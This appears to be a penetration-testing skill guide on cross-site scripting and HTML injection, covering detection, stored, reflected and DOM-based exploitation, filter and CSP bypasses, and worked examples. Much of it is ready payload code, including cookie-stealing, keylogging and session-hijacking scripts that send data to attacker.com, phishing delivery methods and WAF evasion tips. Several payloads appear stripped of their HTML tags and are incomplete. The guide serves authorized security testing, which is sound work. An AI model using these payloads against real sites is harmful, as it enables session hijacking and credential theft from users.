Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

• Target web application URL with user input fields
• Burp Suite or browser developer tools for request analysis
• Access to create test accounts for stored XSS testing
• Browser with JavaScript console enabled

Technical Requirements

• Understanding of JavaScript execution in browser context
• Knowledge of HTML DOM structure and manipulation
• Familiarity with HTTP request/response headers
• Understanding of cookie attributes and session management

Legal Prerequisites

• Written authorization for security testing
• Defined scope including target domains and features
• Agreement on handling of any captured session data
• Incident response procedures established

Outputs / Deliverables

• XSS/HTMLi vulnerability report with severity classifications
• Proof-of-concept payloads demonstrating impact
• Session hijacking demonstrations (controlled environment)
• Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

alert('XSS')

Monitor for:

• Raw HTML reflection without encoding
• Partial encoding (some characters escaped)
• JavaScript execution in browser console
• DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

• Input persists after page refresh
• Other users see injected content
• Content stored in database/filesystem

Reflected XSS Indicators:

• Input appears only in current response
• Requires victim to click crafted URL
• No persistence across sessions

DOM-Based XSS Indicators:

• Input processed by client-side JavaScript
• Server response doesn't contain payload
• Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

document.location='http://attacker.com/steal?c='+document.cookie




document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}




fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})




Session Expired - Please Login

Username: 

Password: 

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=alert(document.domain)

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name=">

# Fragment-based (for DOM XSS)
https://target.com/page#alert(1)

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#

// URL parameter injection (processed client-side)
https://target.com/page?default=alert(1)

// PostMessage exploitation
// On attacker page:


frames[0].postMessage('','*');

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

SITE HACKED




Submit




input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}

Stored HTML Injection

Persistent content manipulation:

Important Security Notice: Your account is compromised!


body{background:red !important;}



Fake login form or misleading content here

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

alert(1)











alert(1)">

Encoding Bypass

\u0061lert(1)

JavaScript Obfuscation

// String concatenation
eval('al'+'ert(1)')

// Template literals
alert`1`

// Constructor execution
[].constructor.constructor('alert(1)')()

// Base64 encoding
eval(atob('YWxlcnQoMSk='))

// Without parentheses
alert`1`
throw/a]a]/.source+onerror=alert

Whitespace and Comment Bypass

/**/alert(1)/**/

Quick Reference

XSS Detection Checklist

1. Insert alert(1) → Check execution
2. Insert  → Check event handler
3. Insert ">alert(1) → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential

Common XSS Payloads

Context	Payload
HTML body	alert(1)
HTML attribute	">alert(1)
JavaScript string	';alert(1)//
JavaScript template	${alert(1)}
URL attribute	javascript:alert(1)
CSS context	alert(1)
SVG context	``

Cookie Theft Payload

new Image().src='http://attacker.com/c='+btoa(document.cookie);

Session Hijacking Template

fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});

Constraints and Guardrails

Operational Boundaries

• Never inject payloads that could damage production systems
• Limit cookie/session capture to demonstration purposes only
• Avoid payloads that could spread to unintended users (worm behavior)
• Do not exfiltrate real user data beyond scope requirements

Technical Limitations

• Content Security Policy (CSP) may block inline scripts
• HttpOnly cookies prevent JavaScript access
• SameSite cookie attributes limit cross-origin attacks
• Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

• Written authorization required before testing
• Report critical XSS vulnerabilities immediately
• Handle captured credentials per data protection agreements
• Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "alert('XSS')", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=alert(document.domain)

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

Result: CSP bypassed using allowed script source.

Troubleshooting

Issue	Solutions
Script not executing	Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled
Payload appears but doesn't execute	Break out of attribute context with " or '; check if inside comment; test different contexts
Cookies not accessible	Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode
CSP blocking payloads	Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass
WAF blocking requests	Use encoding variations; fragment payload; null bytes; case variations